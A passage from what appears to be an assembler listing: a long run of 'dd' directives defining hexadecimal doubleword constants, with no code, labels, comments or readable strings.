60C176E0h, 3AE95808h, 0D1926162h, 7DD40749h, 59ED21F9h dd 68AF247Dh, 18788A25h, 8912F08Eh, 5B7082DFh, 68656B73h dd 0AA67E95Ah, 82226291h, 98DE608Bh, 535468A2h, 0B477FA6Eh dd 53C49235h, 6EA8D1E4h, 2D0C3308h, 0C129BA56h, 4B3CDF5Dh dd 30752D01h, 605A4E40h, 4F1CD22h, 477EC580h, 0B821F69Dh dd 3F96200Bh, 59CF2783h, 0ABC61848h, 0A433B513h, 16459C0Ch dd 5B2B0104h, 0B1515066h, 2DF44252h, 0A68852D6h, 0EFA96F62h dd 5E493DD0h, 508924h, 571385BEh, 7F1DC06Ch, 5293A8ECh dd 0E9F2890Bh, 0DE8C083h, 0B65300B4h, 28480534h, 0AF980341h dd 0F728527Dh, 1DB08731h, 5F185F33h, 5CBFBAE8h, 0C959125Ch dd 68D701BFh, 0F94CDE1Ah, 132B3CC4h, 0EE825909h, 0E22343A1h dd 3961C97Bh, 92F79EDh, 0EE665A55h, 2DD1D1F9h, 50AC1045h dd 4136E044h, 25ADF1BCh, 3997D459h, 0F349FB9Ch, 4DE906F7h dd 0CA007B6Ah, 697939F9h, 0C142DAF7h, 3572858Ch, 91EBE1Eh dd 848C575h, 8880CCEFh, 45B66F8h, 84C6C607h, 222D7516h dd 88529812h, 82A91C1h, 0F6072117h, 0ACA680DCh, 3D514114h dd 0E5532F23h, 0D07A752h, 3D61125Eh, 0FD20CC5Ah, 8694BFDCh dd 56F58717h, 0BED15884h, 0F98D6B59h, 4E36BBA1h, 8D680CFEh dd 5CF3290Dh, 0B2D25C32h, 0BBF89866h, 215F8845h, 0FCD04695h dd 4E0C4AF9h, 84408163h, 5D53DD79h, 0F64D9A95h, 0C8BE42A4h dd 8122DA86h, 0F63E420h, 36C4805Bh, 0A15A0529h, 0A674EF7Ah dd 8CC5444Bh, 8A5F0AE3h, 0C6C36BE3h, 236825C9h, 8E5F5649h dd 0EDD589F3h, 17500FFCh, 7C255AF8h, 9CA4E49h, 0D853580Ah dd 4E41C54Dh, 93396B06h, 0BAE8E90Ch, 0F401803Ch, 58E78836h dd 0ED21F828h, 0C2E2347Bh, 0F70A37F2h, 2DB08E07h, 0F659C800h dd 52C73D0h, 0F904AA24h, 0E9E38088h, 4DBE01D9h, 0BFCD6469h dd 51004C0Fh, 0BAA7E99Ch, 0C5A433B1h, 7B40E607h, 0AAC2965h dd 7FF35ECBh, 1FE6E9C1h, 0CA495D3Eh, 82A83A3Fh, 56D67DA3h dd 706BA076h, 0BF570058h, 2AAA7EEBh, 0E918FD09h, 80362839h dd 0F0845ACCh, 0B32553AEh, 2898C48Fh, 28FDDC30h, 0B9C18ECh dd 58E388ADh, 0A9E2948Fh, 64F6F328h, 2689FF79h, 0CD0491B2h dd 0E0928DE5h, 0D69E1901h, 95E0562h, 0EDF419C4h, 9E710B48h dd 0D1B4C296h, 0E1B830h, 48DC0B6h, 65886887h, 7B0118B5h dd 0CCFE8010h, 235CBDEEh, 0E257A389h, 0B5A958F6h, 3F098115h dd 96D57129h, 87B1879Ch, 0EC3474DDh, 2D24485Dh, 66280FF9h dd 0B6B3B9B1h, 0E660A56Ch, 0C8922B8Ah, 8F80EE5Fh, 5D05E376h dd 0E984165Dh, 29D6E004h, 0D8E668B8h, 522A9195h, 5AF00F2Eh dd 52038A9h, 0A14946B8h, 0C65B727Ah, 505FC70Bh, 0FE29259Eh dd 78ADE202h, 813C3302h, 74D06836h, 0BB80C73Ch, 8107520h dd 1EB8302h, 0EC3AE468h, 223802F7h, 0E7C17546h, 28EDA961h dd 421EDE8Ah, 0B8819829h, 167B4A4Eh, 0F4F8C560h, 0A470F1D6h dd 0D5C941DAh, 5997511Ah, 0D642F201h, 0F301C864h, 5651544Ah dd 6320DBF7h, 0A90E1255h, 7654C766h, 19B63AEAh, 9CA358A5h dd 1E765249h, 1459C1AFh, 39806234h, 0F29D93CAh, 44C28020h dd 0E903EAC0h, 44381F2Dh, 0BB53183Fh, 0FB014F24h, 0D99B13E4h dd 46DA692Dh, 0AD3BA33Ch, 0CD4651Ah, 0B8AA52C0h, 0EB069A9Ah dd 5EC70940h, 31D080Ch, 6704162Ch, 73C75557h, 0E3BC17A4h dd 92245E8Fh, 60EB93Dh, 6C2635ACh, 7AB020Ch, 0D0293CF4h dd 58166B5Ch, 6BE70F52h, 71C63580h, 8BB13AF2h, 16FF708h dd 0C7404ABAh, 76BCE86Eh, 58A13580h, 9D410565h, 8529372Fh dd 8124D516h, 5EC0A0Ch, 35159081h, 8C585502h, 0D2B5826h dd 5CD28144h, 0EC565AF1h, 490A0952h, 7E0F770h, 9A48577Ah dd 26691507h, 27F93EBCh, 1F84A0D3h, 0CC19936Eh, 0C24906A8h dd 468B7C01h, 5AD60140h, 0C0E9B921h, 31BB9683h, 0EF25F228h dd 9A6FC474h, 0CB6813ABh, 0A2243453h, 7B688066h, 4C294340h dd 7A0CC85Ah, 0DBCAD85Fh, 0C6D10BB7h, 525025ADh, 28CC3111h dd 9D51290Bh, 0F5B9808h, 0C72F75B0h, 0C303936Eh, 9AFA5958h dd 0ADBE2568h, 1FD76A12h, 4D452F4h, 29E2C3C2h, 6525F0F3h dd 36A94017h, 41CF23B1h, 54590B29h, 0EF123227h, 0BEB671h dd 22BC781h, 78014396h dd 844E5EFh, 123C5182h, 0E90EA4DEh, 0E0FBB95Bh, 916F26DCh dd 7DF08B9h, 0ED95602Fh, 6433BFAh, 5D12093Fh, 4B741DC1h dd 5E226DA0h, 0A451397Fh, 37D501Eh, 585EAD40h, 7F42BB35h dd 28C15B0Ch, 0C855213Ah, 0FA293FACh, 0E1393E3Dh, 70BCDC4h dd 2F213349h, 7224C98Eh, 0B5511CF0h, 0B4E81D2Ah, 3DF0094Dh dd 0DF319AC0h, 0E9504C9Ch, 16FEB47Ch, 0FE6E0380h, 0C0DAD0C9h dd 0ECBEE463h, 4F1E7B5Fh, 8002EE81h, 33307DF6h, 0BC9CB737h dd 2D201B90h, 779BB5F6h, 0A1F36DBh, 3E035146h, 251F1672h dd 2813BF76h, 0B6B753F0h, 0E0FD882Ch, 5037ED07h, 4FDFEC77h dd 5EF89E5h, 6BEC7F33h, 0CA4C5F2Dh, 7BE99696h, 0CFE984BDh dd 8D44AE2Dh, 0BF0033E7h, 5A5665D4h, 4ECF8100h, 0E969B109h dd 0BFAC92B6h, 0E925503Ch, 57BE12Bh, 5AB1902Bh, 409E0C1h dd 7150D0F7h, 0E90DB1B3h, 0E15286Dh, 7BD2C5Bh, 4F4E04D0h dd 0D543C5B7h, 47C0E92h, 0D814F85Fh, 9702E9DDh, 64D6DA8Ah dd 6845905Bh, 54BE0FBFh, 0B17FEEC9h, 15C72A79h, 0D57CC468h dd 25F2C016h, 7814C1C3h, 0C52D971Ah, 2FBDE209h, 2606A148h dd 44ED0E95h, 7731DE65h, 0FF4BD3C8h, 80730FCFh, 790B66EBh dd 25DB3E2h, 0B4EC1ABh, 0C708A203h, 0B85056F8h, 0CA0F8C00h dd 3C74BE59h, 31162ECFh, 0D6F70C07h, 0F60F8104h, 85072B3Eh dd 9C8BF001h, 68515902h, 0FFCC37DBh, 214BB90Bh, 5420603Dh dd 0B2776D2h, 0B85932E7h, 0E05F1C04h, 0BD1D6645h, 81030ADEh dd 0F318AF5h, 0EBAC50Ah, 54E945C2h, 0CE8AC4Ah, 1495CDA5h dd 9459CC8h, 6802ADB7h, 3E49AEE9h, 3C822045h, 34A83500h dd 821FF181h, 29EE0425h, 0D0D5E9CDh, 4AC5BAA2h, 0C137AD2Dh dd 86705ED4h, 36DB56D6h, 52A2247Bh, 684C8766h, 0B24727B0h dd 0CBA0C80Ch, 6A9B0DD0h, 77BB20F7h, 0E258EBC9h, 2F68F37Dh dd 425B1113h, 0F2D2B90Eh, 4EA027B0h, 0C80134B4h, 0D40330Ch dd 0C2090F5Ch, 5945E2D1h, 0C486E802h, 0C7171ED3h, 0CAD926BBh dd 0B393C1BBh, 89F76709h, 52A58400h, 644561h, 0F08E6C1h dd 5784CE81h, 0C0C29ACh, 16D22816h, 90C63B40h, 804812EEh dd 0BB4F34E9h, 11017891h, 574B1A4h, 0F988680Ah, 1D831013h dd 7C67297Ah, 19B983E7h, 81E0F507h, 49328CC1h, 0DEC89815h dd 1FAD58DAh, 0B7BA0F86h, 893AC25h, 0EC272A43h, 5FFB3F5Bh dd 8D0A3A92h, 29100243h, 0BE42B2C2h, 0D38965C8h, 115CBEAAh dd 4A25F269h, 0A3A38443h, 35AE10BFh, 3BE83119h, 912B3E5Dh dd 31029D4Dh, 47CDE9C3h, 0F0891BD1h, 13AC86Ah, 3FF13980h dd 0C2F64FCh, 0BEFE876Dh, 9C22CB0Dh, 2857590Bh, 3830B1E1h dd 28D4947Bh, 0C0FA0396h, 0D7F607E7h, 0B47C1EEAh, 2FEABE00h dd 0F7566415h, 12466FDh, 0B0ED80E5h, 698F6F12h, 1BE7D800h dd 5C019483h, 0B16571E8h, 0C26C275Eh, 908BC36Ch, 0E84F42CCh dd 89208729h, 0AD0082F1h, 730DBA52h, 6863A806h, 0F8250551h dd 0CA8180B3h, 0AD14B13Bh, 6F080E0Ah, 2AE260D2h, 12124C0Eh dd 0D05464E9h, 0DC218813h, 0EB28747Bh, 8AEE33EDh, 6C74152h dd 7F281725h, 126E060Ch, 8A5360D8h, 6C2CE30Dh, 7A816A2Bh dd 4346D8Ch, 1FEADC42h, 0CEA1F612h, 0D05A150Bh, 97CDE659h dd 6167748h, 5890E916h, 2BED0B21h, 5C2904FCh, 726A60F1h dd 0BC5144CDh, 0AEE39346h, 0DB9BE986h, 8C2003B0h, 0E1BD09B2h dd 6109132Eh, 40417642h, 36346FD8h, 838B1CE2h, 15CB409h dd 0F663E9C2h, 1133189Eh, 0EFAA50CFh, 794DAF6Eh, 9C595052h dd 0DE90C04Ah, 60069511h, 2C8A0C82h, 0E0B04385h, 82F689B7h dd 946164Bh, 9D444589h, 0BE52F826h, 2B809016h, 5B2E9EBAh dd 4D000062h, 42670D7Dh, 6EAC11Eh, 4479F28Eh, 71B032E4h dd 521A9D5Dh, 96B4656h, 0A70D79E6h, 0CAE9E951h, 0FE1275D2h dd 20B2145Dh, 1F24F93h, 2C74F8E0h, 66692FFEh, 0D514EB33h dd 2D6A47A1h, 522812FBh, 8220F662h, 0C06BE680h, 500602E6h dd 0D0F6EFB0h, 9E2C0E04h, 0C6025B34h, 264A70E9h, 0BCFB1655h dd 0D9304B19h, 10B55BD9h, 8A278BC4h, 0E958C2D4h, 2D549C09h dd 0C47896E8h, 0EEC110C5h, 0FD25A7ECh, 0F5F111C6h, 97712CB1h dd 61FBF706h, 9ED14D25h, 59535181h, 8760705Bh, 13B0D97Bh dd 6B968CA0h, 0FAE04B4Bh, 86461277h, 109CBC7Bh, 85F68E2h dd 63AD01FFh, 5F2E3E4Eh, 9C29E80h, 2B40E9F0h, 4E285D81h dd 9C0E15DFh, 5F2A683Dh, 2947F160h, 0C7143EBCh, 83DF290Dh dd 7D5E4B41h, 8B0CD235h, 2F68F4B0h, 62120B77h, 16261DEh dd 8AC64854h, 0DE229D2Fh, 0BD01DDC1h, 192041A0h, 0E404BD21h dd 0A2D9AC36h, 598D02EEh, 0B3FCFA9Eh, 0AD1D1CBCh, 92C35A97h dd 0C26AE5Fh, 0F014ABBh, 3C16680Ch, 0F11F6249h, 3408E994h dd 22F89453h, 0AD675B2Dh, 55CE26B1h, 7DB98781h, 2E106A78h dd 0E6F2B7D7h, 0BE6BD1DEh, 83E049FAh, 6CE78914h, 8731579Fh dd 59CD40C3h, 3F599668h, 0DBF85C9h, 0C8E94681h, 69F756D6h dd 7DDA4BC9h, 49ED000Fh, 2959C70Dh, 836790DDh, 0F2D07F08h dd 46AF3053h, 0F7153A0Ch, 25A2054Ah, 0C960E915h, 95EF800Fh dd 95296F1Eh, 203D9E56h, 0B6F0F6BAh, 2AE5A0C3h, 1CBD3DD1h dd 5E753705h, 0B12DD67Bh, 89B67877h, 0D0E17652h, 0E64EFFE9h dd 0B9128CD4h, 9056E6F4h, 300A0026h, 1EBE7B6Eh, 0D246701h dd 5138A31h, 766D349h, 0B492C80Dh, 0B86C761Bh, 2146608Fh dd 0CD113666h, 0A8CAA0B1h, 79D81687h, 0A710D24Eh, 51984A08h dd 44D34A66h, 0AF514Fh, 5C576856h, 5A2A7B80h, 0B9D90E65h dd 5D9730A1h, 1447029h, 0BD8A0E7h, 18B432F3h, 6A532CD3h dd 8191DD2Bh, 49A5742Eh, 5C42F201h, 87AE080Fh, 7A3562F8h dd 95F04204h, 0F7F8C501h, 82BB00D3h, 95FBE57h, 12C3C6B0h dd 91FF7FA1h, 0F86C33E9h, 0D38AA8A4h, 12EDF910h, 6664F02Bh dd 0D0A502F8h, 29685FCAh, 7BE63954h, 69A7FD4Ah, 3688207Bh dd 3A41BF00h, 0F7810DCBh, 937017BDh, 66C10931h, 0BA050B6Eh dd 23707C9Ch, 801833C3h, 8229ADE2h, 1F41C080h, 9EA3B150h dd 622D03DCh, 36BC8D39h, 28BB004Bh, 505366D8h, 7DF8B479h dd 515D2DCAh, 72E9262h, 0BB326445h, 3371E412h, 58032C4Bh dd 0E146B1h, 2832DBBDh, 0BDFF0EC0h, 0C7295183h, 89AEE3B9h dd 3E8D122h, 4C6545FCh, 0AC1378B0h, 515EF3B5h, 0FDCE7569h dd 5B232485h, 67D76813h, 0E9C43EF9h, 0B5D6F0F5h, 0C5028A70h dd 59EC8858h, 0E2DB41B2h, 4AA368E0h, 0B1A1230Fh, 2E9C0C8h dd 0D00806C1h, 0BD2180E1h, 0FA47C1CCh, 27B8B4F3h, 839A1F94h dd 9C9505Eh, 0B512940h, 21070B4Dh, 49845BDAh, 3A091608h dd 0D66B8560h, 5AFEFCB4h, 29FCC42h, 70585BCBh, 92719CBCh dd 3EACA17Ah, 97C83528h, 1EEE1C8Bh, 147068A2h, 94CDD19Ch dd 8896343Bh, 2FD42F99h, 8C90720h, 0AAB20269h, 0C7880309h dd 415BF991h, 0FB284FA9h, 197261D2h, 2790C470h, 3E4CFF9Ch dd 0B564050h, 850FDB1Fh, 6884256Ch, 0CDB26E7Ch, 20478F02h dd 105CE1E9h, 43D15B3Bh, 5D00AD2Ah, 5973C831h, 0A9E2C34Fh dd 0C03B1692h, 0EB295A09h, 0AFDA5D5Bh, 9D5F494Ch, 2C8E6666h dd 151D3850h, 68042212h, 5E09D34Bh, 0AD084954h, 3645272Ah dd 105C0994h, 0B900ACCEh, 0BAF114Dh, 6109C981h, 8053C655h dd 0AD7D7C65h, 4A59069h, 8ADE954Eh, 0D18AC431h, 8BC5292Dh dd 0D9C74180h, 0E8F449F5h dd 0F21AE9E1h, 34A3813Ch, 2D92D370h, 712980A0h, 0C7069D93h dd 0B2A8157h, 53CC3905h, 782B8F8h, 24E87DC1h, 0F70040BDh dd 91C535D8h, 89F316h, 0ACBE58C3h, 295C0298h, 0EACDE58h dd 6B0C62C6h, 46C5A011h, 99F5BFE9h, 0F189641Eh, 3011E542h dd 21E92C49h, 43B565F5h, 14E534C2h, 273B348Ch, 0EAEBF673h dd 4D942468h, 0E4B560E5h, 0AE4EB753h, 72365E0Eh, 60B83D88h dd 8C2D751Ch, 3975A35Bh, 576DE516h, 4BA02004h, 680CF38Fh dd 15AF6E20h, 458B0997h, 70EC2798h, 514A0BF9h, 568180A6h dd 3BB2B0E9h, 0E7559A8Ch, 68CF043Dh, 0AC465A69h, 0AF47125Ah dd 0D8952E1h, 0E8003769h, 2418F475h, 1259EF01h, 17BCE4C3h dd 2CDF922Ch, 9BB13216h, 0E75060h, 1232C1Bh, 8CBE56D8h dd 2094650Ch, 9B60E55h, 4E667506h, 0B295D787h, 98E06278h dd 7D302408h, 3C0A0C2Bh, 392D40E8h, 75F06000h, 0C583D5F7h dd 0AD2FFh, 2A69422Dh, 0EDB82930h, 17A061B8h, 925CEC0h dd 51EE50A9h, 2260AD45h, 4D521ECFh, 0D6F7CD87h, 0B61A8308h dd 0B77AF118h, 84EAE8C0h, 23E9129Eh, 9EDDECD1h, 4643C08h dd 0EA5EF101h, 86517B0Fh, 12184CAEh, 0A80C875Ch, 52C5B4A6h dd 8B38E056h, 180D01F1h, 0F74916BDh, 0A4D443D1h, 8915AC80h dd 5B1ACA57h, 6B087E85h, 0EDBE015Ch, 202E4338h, 0D198078Fh dd 0DE2F0142h, 0F8EEA230h, 5CE42B02h, 0D24125E9h, 7440005Ch dd 0E7C12C5Fh, 0CF738102h, 17960B0Fh, 230E37D1h, 59B7C6CBh dd 39E0141Ch, 0C701AD89h, 0F71C4D7Dh, 8E426B01h, 0D11D47E9h dd 0E3B80B4h, 0E1C12FBBh, 8FE90816h, 0FE5AF249h, 44AAF150h dd 45ABF69Ch, 33CA6AAEh, 506E0C69h, 3ADE7ED8h, 7A7C0977h dd 65D098E9h, 29619F94h, 892E5AD7h, 68369306h, 2D0A18D5h dd 8390C4CEh, 18FA247Eh, 0DE7189E2h, 8724A994h, 0C51051Ch dd 0AD2B4A02h, 25BF51D8h, 8CCFECBCh, 6813567Ch, 9BB3258Dh dd 0CA5D9C4Eh, 0DECF5B4Ch, 62ABB40Dh, 0C1680620h, 4450B9EDh dd 1C026F81h, 7F183093h, 96EA6600h, 21286CA3h, 0EF00EDCFh dd 0ECBAD32Dh, 0C0D86BE9h, 923BEADBh, 4C988B45h, 1C294300h dd 26223515h, 4831FC8Dh, 0D88476C2h, 0DC5409C6h, 6EC5A9Fh dd 0D7257929h, 0EA272DBCh, 88085B16h, 0BE015773h, 74D20251h dd 34887621h, 2904BA07h, 0CCE058C6h, 5E26BAD7h, 1FEDDCB9h dd 6A0C4903h, 26279DE9h, 680BB5Fh, 784B2483h, 0D6162305h dd 6FC70902h, 0B13FCA93h, 0BC706BA1h, 8DBB1707h, 0E91C442Fh dd 62AAB140h, 0C07CD086h, 0A45163EBh, 0F40CD768h, 0A9A255F8h dd 89052555h, 0F5ACD385h, 942A8C51h, 2024AA17h, 0C32922AAh dd 0FEE1FE84h, 79268F49h, 334C879Eh, 0F0D0ACD5h, 0D92ACC12h dd 0CDCA9E13h, 0A068C099h, 0CF20D21Dh, 0DBF72455h, 1473256Ch dd 2D81664Ah, 5203B897h, 9EC289C4h, 0F358E0CBh, 621803A5h dd 1F2B5038h, 1BE9155Bh, 0C23BA5FAh, 0B5CFF3BDh, 322DF88Eh dd 0BD9CE69Dh, 58D31B06h, 3D3491B0h, 7E993CA8h, 0B65B5AD8h dd 0B6F12097h, 26F927B4h, 0C08692BDh, 51324F3h, 5CC2CC66h dd 162B6816h, 2DB29661h, 2381B800h, 563FD01h, 43EF7BEEh dd 57C2A672h, 44D497E9h, 0ACF2EF25h, 41812D33h, 3059CE21h dd 2F99C409h, 39D2F649h, 707EB9Fh, 0E44D88CBh, 4900EB54h dd 27B05234h, 0EE9FC41h, 0F11CE19Eh, 60A88EABh, 595C8F1h dd 0F9D0215Ah, 33443A5h, 0C83110E8h, 1DED8C95h, 99B31B14h dd 0AE555AC7h, 5CD44BB3h, 0D2E07C38h, 0BAFFB181h, 68CB4809h dd 7010284Eh, 5D0D2DC0h, 50F2F666h, 2E98E1BAh, 320FF506h dd 120C39F8h, 5C2D22h, 0BD5DEF93h, 5096A70h, 0E2C6E977h dd 4045C248h, 991E138h, 0C1576B28h, 0E7721189h, 64ADFE48h dd 3DE4AA8Ch, 302CECC5h, 330C18BAh, 3A046B01h, 136C685Ah dd 49C11391h, 0EE542924h, 0E9C29737h, 58C90252h, 0BEBAA0A6h dd 0CBC411Dh, 0EE834E78h, 7112C662h, 0C71EA32Ch, 9BF11E40h dd 58F78995h, 320B75Eh, 58273F13h, 6102D4ECh, 4F6A660Dh dd 523BC960h, 0B64E132Ch, 0AF67B002h, 2A0B5756h, 75403974h dd 0B0763E6Ah, 54B582C2h, 0C64252Ah, 7FFEC29Fh, 31FCBB22h dd 6805B85Dh, 223C4D72h, 0B4257581h, 3352052h, 70A10098h dd 0EA83E7E3h, 15B018CEh, 2610F338h, 4A7E96Ah, 46805F4Bh dd 503E199Eh, 13AEBE0Dh, 193219Ch, 0A77AA363h, 41D83D15h dd 48AB3C08h, 8D0E3506h, 0C73C47ECh, 1E224D8Eh, 5985E7C0h dd 82AB2D98h, 49BE1E24h, 0FD1C6FA4h, 0D95DE88Bh, 0C10182D3h dd 55F15358h, 0C7E284C9h, 0D1CD8000h, 0B437B353h, 0F5938A30h dd 7EC3E1C1h, 80DFA220h, 4E30AFBFh, 53C7DAA7h, 0F25804B1h dd 0D95C4168h, 291CFD15h, 4AB06A3h, 380C175Bh, 8A7E62Bh dd 0EA2F57DAh, 52E119D4h, 824572E8h, 0EF040340h, 13CA2D80h dd 10217A5Fh, 924A1792h, 4550EF12h, 2E38BD07h, 2FA47662h dd 0F04A76A8h, 0A10FB3B7h, 0A910B652h, 0B3D350D3h, 88FE3D6Ch dd 504FF968h, 0E984D5B2h, 1C8EB843h, 4F22684Ah, 0EF04D129h dd 76BE7DECh, 72884840h, 148FB0C3h, 0B4EA8058h, 0E9C8F205h dd 1EB954Fh, 36101761h, 201C2031h, 410E6413h, 9759FE07h dd 9D3AD0F7h, 341EB203h, 74BE8968h, 0ADD23128h, 5A2931E3h dd 453EE00Eh, 5609B17Bh, 0A5330815h, 25C444h, 7A757DDEh dd 0BD015544h, 69095273h, 2F34D9E9h, 3158255Fh, 2A8B052Fh dd 0F5831263h, 2535FC13h, 8837DFA2h, 5912A8E0h, 0F821F741h dd 7060095Fh, 87F0A86Eh, 98E1F5F9h, 34C1DA24h, 40602E0h dd 4C021B7h, 2DEB348Bh, 47CB2E63h, 2A1CB55Bh, 7764881h dd 325EE512h, 0BF4BD5C5h, 0C7D7950h, 941F6269h, 7CA2A44Ah dd 0D9572D7Dh, 0FC499E46h, 97F94910h, 83AD62C4h, 325FF29Ah dd 5C945F78h, 4C8B0A90h, 0B955E0F2h, 2D98369h, 68178D3Dh dd 2BEB633h, 0CC800FB4h, 0D884DFB6h, 8CCBC7F4h, 0C512EC0Fh dd 0F7ECE688h, 0F91EF71Ah, 87201DC1h, 2F03B9E9h, 57C03274h dd 0D32921B1h, 58C40AC0h, 5FFE626Ah, 3B925A56h, 0B6BDBEF0h dd 0E5019EEDh, 45263CC5h, 0E1CD051Ch, 0DE300606h, 54DC13F1h dd 206FA885h, 2F299ECEh, 0B1095B89h, 2A61710Eh, 30196837h dd 0B3ECD5B7h, 0DA01F502h, 0A0445CE9h, 1820C9A2h, 96FBA02Ch dd 948092EBh, 739427FFh, 77736812h, 7D55A160h, 805E50FAh dd 800DD151h, 0C15EBC42h, 3AB76F4Ch, 0D1851927h, 0D05B2792h dd 159D496Ah, 0C7295E0Bh, 71BF6100h, 0A4A0774Ch, 140BCE9h dd 0C2079659h, 0BF003921h, 5ADE43B1h, 57CF25Ch, 173790Ah dd 97CBBE53h, 53CDE913h, 0D09EA8B7h, 6A5D25C6h, 9C905D49h dd 0F8B61115h, 32E1ECCBh, 78D4868h, 41BAE25Dh, 0B8283C69h dd 2FDC9D5Fh, 8001A7CBh, 25E928EBh, 0DC357BD5h, 0BFB3A385h dd 0B380344Bh, 0B22D80F8h, 1420A52Eh, 705D001h, 84AC5A24h dd 0BA09EE68h, 5FE98928h, 5FDD00BAh, 0B35DB850h, 8FD95B25h dd 7648EB95h, 1EE19615h, 0CB085EE7h, 0EA711647h, 7221108h dd 0FF50EB28h, 4034EA2Ch, 12B461FCh, 0B20C2D3Ch, 7DE16085h dd 85D48219h, 14C290BCh, 17311E4Eh, 0FFAF841Fh, 68050B5Dh dd 0E4E830BCh, 0BA25284h, 0CAE00B29h, 91D8FAD3h, 1AF00845h dd 98E38007h, 1CEACB33h, 2706B1BEh, 0C04892F0h, 87E909A5h dd 665BB249h, 54562F7Eh, 8CD19662h, 54060CC4h, 0C60B1D59h dd 0F2791773h, 0ECE4805Ch dd 775C1237h, 3DC11849h, 6178B753h, 0F5177F5Bh, 552FB0E2h dd 5D8D550Ch, 0E2D3682Fh, 49AF54E2h, 90082EDCh, 9CB40330h dd 0C0E8C480h, 0CDED05ECh, 0BC129673h, 0EE90B816h, 2DA4B7F3h dd 0A180D687h, 0F2E9F089h, 31CDA24Fh, 0AEA5A138h, 0C2446E64h dd 6EA4A190h, 0D70B1E3Dh, 33CED93Bh, 92592301h, 89A33CAh dd 0EA29D398h, 10B25D5Bh, 376299C9h, 4D8E4A0Bh, 2A1C3076h dd 6B4A971Bh, 8026AD4h, 725DABE9h, 652C781Ah, 83C0CB2Bh dd 0A2A7FEB1h, 88F1D97Ch, 4334ED40h, 0C23B4E9Fh, 0C7ABEE3Bh dd 784E2961h, 92B7C7F1h, 2C85F8C5h, 368A842h, 0B4197D6Fh dd 0DC8B7BFEh, 0FB204558h, 1118BD0Eh, 5E807235h, 0BEEEC05h dd 0C701E7CAh, 0E9172FECh, 0AED4F69Fh, 0EE5276B4h, 0D0890B5Ah dd 0A029B3E9h, 8F7006F8h, 0A062ADF4h, 6607599Dh, 399A9D7Dh dd 34E10042h, 7FEA4B54h, 0D94C8327h, 0F1D86B36h, 15596B5h dd 0EB75FDBAh, 89FCBF3Eh, 0F8E8E90Bh, 8958136Eh, 0F30F12F3h dd 41EB8894h, 96C5C0E9h, 8080529Ah, 5A42126Eh, 1483CA64h dd 600FBA52h, 75BF650h, 0D329240Ah, 5C082018h, 5C11DA5Ah dd 1B075934h, 0A5EF140Ch, 9AC994Bh, 0C1F2E8E7h, 8A7F13AEh dd 74720959h, 6B533D61h, 0D8F08FCDh, 9D78237h, 0A52D80DCh dd 0FC88B46Eh, 0EF1941ECh, 14B639B0h, 6451E62Bh, 0D931598Bh dd 0F9F31643h, 444D81BFh, 0AF6029E8h, 0D6071802h, 365E6803h dd 9DB052E4h, 0B43B0548h, 291082A3h, 556365DEh, 971BF6F9h dd 92D3D69Fh, 0EBBE0B02h, 0C01F1B65h, 4F565DAEh, 6AC1B0D5h dd 262A4718h, 1F7A610Ch, 414D1A18h, 7311ADF5h, 4E43834h dd 8F0E7688h, 314A07FBh, 0B24C43F1h, 5D15F3Ch, 0F229B43Eh dd 0DFD01BC2h, 0E9D8E730h, 0E691E5Dh, 60D0CF80h, 0F88843F7h dd 0BDE0BD5Bh, 81801F4Eh, 13930FF6h, 576B4345h, 252C4CE0h dd 93CB8EB5h, 0D7B1A0E8h, 0FE0A814Ah, 0FBC980C1h, 21819AE9h dd 0B545BD68h, 0CBA57879h, 0CFAA0F43h, 3127E251h, 9CD143C3h dd 14D1C0D0h, 895E2708h, 0EB8BD3C2h, 51598CBAh, 0B02866A7h dd 953FB234h, 3B545309h, 789382Eh, 0C52A6946h, 64145FF2h dd 3E9EE912h, 38200FDDh, 20B641F8h, 1A04E81Dh, 0CB893B7Eh dd 0E85C3682h, 945BC71Ah, 0ED68E2ECh, 0C8E97CC8h, 830B0A62h dd 67FB7C9Eh, 3DB6F256h, 0B9445E6h, 0CF2AC66Fh, 135B4B30h dd 3EECE8ECh, 0C267AD57h, 6D2256CDh, 55976043h, 9D86814h dd 2F328B71h, 1F9DA465h, 19055BF3h, 8078D54Bh, 0DD524C58h dd 0F6049390h, 93E5704h, 1CC406BAh, 592840FCh, 0A104934Fh dd 931286Fh, 0F12100AAh, 273C664Bh, 9DA1CEF2h, 15887A07h dd 0B6154054h, 1293DF5Ch, 7BE83FB5h, 0D45CF893h, 12A61E12h dd 5EBE2300h, 0ABDCFBEDh, 20FA9CE9h, 0E52CE992h, 9383B7BCh dd 0DA5DAAB2h, 5AC0EA76h, 0E75E48C0h, 0E92202A2h, 0F66558C4h dd 4EF37888h, 31D50918h, 4202ED8h, 21583CE8h, 0A29666C9h dd 50F041F1h, 6061A5CAh, 209F46E0h, 557FF67Fh, 0E9770DDAh dd 0D6F324EAh, 432BE182h, 0A50C8AD3h, 27686FECh, 0D9597EB8h dd 303B7269h, 0F1FD9D5Eh, 0BB3D72B0h, 627AA532h, 0ECA52CF1h dd 383A1E99h, 245D6631h, 56330046h, 0EE21575Eh, 775E913h dd 5C93AA2h, 81BF5524h, 3A945FC2h, 23A71E09h, 92F280B4h dd 49807D28h, 4B0459EBh, 510AD8E0h, 0D094B652h, 0A8B8A112h dd 8634FCA6h, 0D7887727h, 253F403Ah, 47659609h, 7D470E37h dd 0F0660E0Dh, 900A72E2h, 17AAF2DCh, 80B1DEFh, 3528C679h dd 88549D81h, 83E2AAC5h, 691F38B0h, 0F44A8FD2h, 0AA8F87FDh dd 68136CA0h, 303EE347h, 0F82EC371h, 22C18BA0h, 7B7C6702h dd 54366AE9h, 9D446A96h, 0A3E62F8Ah, 13099449h, 0EFA0D92Ch dd 0E4D03EF7h, 689323B0h, 79BC5763h, 0AEE25047h, 70A50EFBh dd 7921EE9Ch, 876B01B5h, 0ECC5D435h, 0F3F24AEEh, 0D398899Fh dd 55F70920h, 4E4DA57Eh, 12ED2061h, 0CCD830ACh, 1700B6A4h dd 0F0281E2Ch, 0B0B35366h, 92D55BF0h, 727AC7AFh, 2A94D4ECh dd 0AB0F6641h, 19B54D2Fh, 521234AFh, 5B4A3DF2h, 80E8CA99h dd 96659AB0h, 0ADE8C536h, 6168820Dh, 9620594Fh, 29345383h dd 775B60CCh, 3B360112h, 5001B6F8h, 0D15F980Eh, 7FC2E0EAh dd 2278111Fh, 190F01BCh, 0D62954CFh, 0E4F0E693h, 7700F3C8h dd 55CE4AEh, 4B34389Dh, 11C49040h, 62004818h, 0AE6814Eh dd 98263D2Bh, 0EEC11F88h, 10382603h, 0CE80093Fh, 89BC7437h dd 0F6DC013Ch, 0B53B3CD8h, 6816F434h, 8CCC02D5h, 70E64E91h dd 44AC68A4h, 0F28233A5h, 685AA0E9h, 0A0C13831h, 